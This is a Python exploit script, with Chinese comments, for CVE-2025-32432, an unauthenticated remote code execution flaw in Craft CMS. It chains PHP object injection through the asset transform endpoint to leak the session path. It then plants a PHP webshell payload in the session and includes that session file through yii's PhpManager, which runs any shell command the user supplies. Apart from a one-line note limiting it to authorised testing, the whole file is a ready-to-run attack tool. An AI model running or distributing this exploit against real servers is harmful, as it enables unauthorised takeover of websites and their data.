#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2025-32432 - Craft CMS 未授权 RCE 利用脚本（Session 投毒 + PhpManager 文件包含）

适用目标:
    Craft CMS 3.x <= 3.9.14 / 4.x <= 4.14.14 / 5.x <= 5.6.16
    （未授权访问 actions/assets/generate-transform；修复版本：3.9.15 / 4.14.15 / 5.6.17）
    参考公告：GHSA-f3gw-9ww9-jmc3（CVE-2025-32432）

利用链:
    1. handle 参数进入 Craft::createObject() 造成 PHP 对象注入;
    2. GuzzleHttp\\Psr7\\FnStream(_fn_close=phpinfo) 触发 phpinfo, 泄露 session.save_path;
    3. 将 PHP 代码以原始(未编码) URL 写入 session 的 __returnUrl 完成投毒;
    4. yii\\rbac\\PhpManager(itemFile=会话文件) 令目标 require 会话文件, 执行任意命令。

用法:
    python3 rce.py -u http://craft.nyx --check
    python3 rce.py -u http://craft.nyx -c "id; hostname"

仅限授权测试环境使用。
"""
import argparse
import binascii
import re
import sys
import urllib.parse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 关键点: 在连接层 unquote URL, 使投毒载荷以原始字符进入 HTTP 请求行,
# 从而原样写入 session 文件（否则会写入 %3C%3F... 惰性文本）。
_ORIG_MAKE_REQUEST = urllib3.connectionpool.HTTPConnectionPool._make_request


def _raw_make_request(self, conn, method, url, **kw):
    return _ORIG_MAKE_REQUEST(self, conn, method, urllib.parse.unquote(url), **kw)


urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_make_request

POISON_PHP = "<?=system(hex2bin($_GET['c']));die()?>"
SESSION_FALLBACK = "/var/lib/php/sessions"

FNSTREAM_INFO = {
    "class": "craft\\behaviors\\FieldLayoutBehavior",
    "__class": "GuzzleHttp\\Psr7\\FnStream",
    "__construct()": [[]],
    "_fn_close": "phpinfo",
}
PHPMANAGER_RCE = {
    "class": "craft\\behaviors\\FieldLayoutBehavior",
    "__class": "yii\\rbac\\PhpManager",
}


def build_payload(gadget, session_file=None):
    config = dict(gadget)
    if session_file:
        config["__construct()"] = [{"itemFile": session_file}]
    return {"assetId": 1, "handle": {"width": 1, "height": 1, "as poc": config}}


class CraftExploit:
    def __init__(self, base_url):
        self.base = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.csrf = None
        self.sid = None
        self.save_path = SESSION_FALLBACK

    def init_session(self):
        r = self.session.get(f"{self.base}/index.php?p=admin/dashboard", timeout=15)
        match = re.search(r'"csrfTokenValue":"(.*?)"', r.text)
        self.csrf = match.group(1) if match else ""
        self.sid = self.session.cookies.get("CraftSessionId")
        if not self.sid:
            raise RuntimeError("未能获取 CraftSessionId，目标可能不可达或非 Craft CMS")
        return {"X-CSRF-Token": self.csrf}

    def check_and_leak_path(self, headers):
        r = self.session.post(
            f"{self.base}/index.php?p=admin/actions/assets/generate-transform",
            json=build_payload(FNSTREAM_INFO),
            headers=headers,
            timeout=20,
        )
        if "PHP Version" not in r.text:
            return None
        match = re.search(r'session\.save_path</td><td class="v">(.*?)</td>', r.text)
        if match and not match.group(1).startswith("<i>"):
            self.save_path = match.group(1).strip()
        return self.save_path

    def poison(self, headers):
        encoded = urllib.parse.quote(POISON_PHP)
        self.session.get(
            f"{self.base}/index.php?p=admin/dashboard&a={encoded}",
            headers=headers,
            timeout=15,
        )

    def execute(self, headers, cmd):
        wrapped = f"echo __S__; {cmd} 2>&1; echo __E__"
        hex_cmd = binascii.hexlify(wrapped.encode()).decode()
        r = self.session.post(
            f"{self.base}/index.php",
            params={"p": "admin/actions/assets/generate-transform", "c": hex_cmd},
            json=build_payload(
                PHPMANAGER_RCE, session_file=f"{self.save_path}/sess_{self.sid}"
            ),
            headers=headers,
            timeout=30,
        )
        match = re.search(r"__S__(.*?)__E__", r.text, re.S)
        return match.group(1).strip() if match else None

    def run(self, cmd, attempts=3):
        headers = self.init_session()
        if self.check_and_leak_path(headers) is None:
            raise RuntimeError("目标未回显 phpinfo，可能已修复 CVE-2025-32432")
        for _ in range(attempts):
            self.poison(headers)
            output = self.execute(headers, cmd)
            if output is not None:
                return output
        raise RuntimeError("会话投毒/触发失败，请重试或检查 session.save_path")


def main():
    ap = argparse.ArgumentParser(description="CVE-2025-32432 Craft CMS 未授权 RCE")
    ap.add_argument("-u", "--url", required=True, help="目标地址, 如 http://craft.nyx")
    ap.add_argument("-c", "--cmd", help="要执行的系统命令")
    ap.add_argument("--check", action="store_true", help="仅检测漏洞并泄露 session 路径")
    args = ap.parse_args()

    exploit = CraftExploit(args.url)
    try:
        if args.check or not args.cmd:
            headers = exploit.init_session()
            path = exploit.check_and_leak_path(headers)
            if path is None:
                print("[-] 目标不存在 CVE-2025-32432")
                sys.exit(1)
            print(f"[+] 目标存在 CVE-2025-32432, session.save_path={path}")
            return
        print(exploit.run(args.cmd))
    except RuntimeError as exc:
        print(f"[-] {exc}")
        sys.exit(2)


if __name__ == "__main__":
    main()
